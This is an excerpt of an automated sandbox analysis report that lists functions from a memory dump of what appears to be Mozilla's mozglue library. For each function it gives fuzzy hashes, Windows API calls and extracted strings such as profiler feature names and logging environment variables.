Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C5479C0, 6C547B0B, 6C5479FB, 6C54793C, 6C547796, 6C547E0B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C5479C0, 6C547B0B, 6C5479FB, 6C54793C, 6C547C03, 6C547C72, 6C547E0B

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction ID: aa3a02b1b3ff15dfdbd00da9a773a39bad4616183b7b6240c88c6d486085e0bc
Opcode Fuzzy Hash: 60d1dbb27c322e6941096cd735204b883eb934ee9ce1980ed64ff33fa0304812
Instruction Fuzzy Hash: AC716D75E052198FDF08CFA9C8945EEBBB2FF89354F24816ED815ABB40D731A905CB90

Function 6C51CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4E582D), ref: 6C51CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4E582D), ref: 6C51CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C54FE98,?,?,?,?,?,6C4E582D), ref: 6C51CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4E582D), ref: 6C51CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C51CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C51CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C51CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C51CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C51CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C51CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C51CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C51CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C51CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C51CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C51CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C51CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C51CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C51CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C51CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C51CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C51CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C51CE8A

Strings

java, xrefs: 6C51CC37
samplingallthreads, xrefs: 6C51CE2C
cpuallthreads, xrefs: 6C51CE16
notimerresolutionchange, xrefs: 6C51CE00
Unrecognized feature "%s"., xrefs: 6C51CEA0
noiostacks, xrefs: 6C51CCBE
stackwalk, xrefs: 6C51CCF8
leaf, xrefs: 6C51CC66
nativeallocations, xrefs: 6C51CDA8
nostacksampling, xrefs: 6C51CD7C
unregisteredthreads, xrefs: 6C51CE58
ipcmessages, xrefs: 6C51CDBE
/Yx7QmE7nzbObBCTKGDDBIqADklPN8FjvlQ7NsxfwyyVxTkdE3VNkY+8rT95ef57fdxaNZp6XjorUOt9/luodpex8KfqKeB2x3Tzn8QudI2pNo3uEsZy1j4mcDpdXOsEQh3rsLuw0WsY0WvpltmF7t6+OqYc34PhHMPxLQZEBf2Gl7LP2z2EuCH5s6WPWjN/6bY9Qk+UjQ5wHYjHSps4T2wY8Jn8+SFir/9NkulJ/5ead32BQ6Vf3VFntuAgywB6drIx, xrefs: 6C51CE92
jsallocations, xrefs: 6C51CD0E
fileio, xrefs: 6C51CC92
mainthreadio, xrefs: 6C51CC7C
screenshots, xrefs: 6C51CCD4
markersallthreads, xrefs: 6C51CE42
audiocallbacktracing, xrefs: 6C51CDD4
processcpu, xrefs: 6C51CE6E
seqstyle, xrefs: 6C51CCE6
preferencereads, xrefs: 6C51CD92
power, xrefs: 6C51CE84
default, xrefs: 6C51CC21
fileioall, xrefs: 6C51CCA8

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$/Yx7QmE7nzbObBCTKGDDBIqADklPN8FjvlQ7NsxfwyyVxTkdE3VNkY+8rT95ef57fdxaNZp6XjorUOt9/luodpex8KfqKeB2x3Tzn8QudI2pNo3uEsZy1j4mcDpdXOsEQh3rsLuw0WsY0WvpltmF7t6+OqYc34PhHMPxLQZEBf2Gl7LP2z2EuCH5s6WPWjN/6bY9Qk+UjQ5wHYjHSps4T2wY8Jn8+SFir/9NkulJ/5ead32BQ6Vf3VFntuAgywB6drIx$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-97362909
Opcode ID: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction ID: 264b4a6e11670e5a3b84bca554bfc81176ef5f901ed56783c2c41cfea4986744
Opcode Fuzzy Hash: b73da1495c82e3a83223da94db1493d5c2a664e3c830bfe18695ca6653f65d37
Instruction Fuzzy Hash: 7651A9F1A5D26552FA0171196D19BAA1405EFD334AF10883BED0BA1F80FB07FA1D86B7

Function 6C4E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4E482D
__Init_thread_footer.LIBCMT ref: 6C4E484A

Part of subcall function 6C50AB3F: EnterCriticalSection.KERNEL32(6C55E370,?,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB49
Part of subcall function 6C50AB3F: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D3527,6C55F6CC,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4E485F
GetCurrentThreadId.KERNEL32 ref: 6C4E487E
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E488B
free.MOZGLUE(?), ref: 6C4E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E4956
free.MOZGLUE(00000000), ref: 6C4E4960
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4E499A

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

free.MOZGLUE(?), ref: 6C4E49C6
free.MOZGLUE(?), ref: 6C4E49E9

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C4E4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C4E4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4E47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C4E4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4E4828

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction ID: bc32ad869a3fc813948ef1718eb681853037548ad8e45aa4265dd276f7652742
Opcode Fuzzy Hash: d6180bf5fc2aefc45ecbd2030fa98920e437d2f582ab12e219e25213649428c5
Instruction Fuzzy Hash: A681F571A00110CFDB00DFA8CC48F5A3775BF8A36AF960629D916A7F41D731E855CB9A

Function 6C4E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
Part of subcall function 6C4E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C4E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C4E44D2
InitOnceExecuteOnce.KERNEL32(6C55F80C,6C4DF240,?,?), ref: 6C4E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E455C
LoadLibraryW.KERNEL32(?), ref: 6C4E4592
InitializeCriticalSection.KERNEL32(6C55F770), ref: 6C4E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C4E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C4E45BB
InitOnceExecuteOnce.KERNEL32(6C55F818,6C4DF240,?,?), ref: 6C4E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C4E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C4E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4E466D
VerSetConditionMask.NTDLL ref: 6C4E469F
VerSetConditionMask.NTDLL ref: 6C4E46AB
VerSetConditionMask.NTDLL ref: 6C4E46B2
VerSetConditionMask.NTDLL ref: 6C4E46B9
VerSetConditionMask.NTDLL ref: 6C4E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C4E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C4E46FD

Strings

user32.dll, xrefs: 6C4E4557, 6C4E463F
l, xrefs: 6C4E4578
WRusr.dll, xrefs: 6C4E44B5
NativeNtBlockSet_Write, xrefs: 6C4E46F7
kernel32.dll, xrefs: 6C4E44CD
GUl, xrefs: 6C4E44FC

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GUl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1685291523
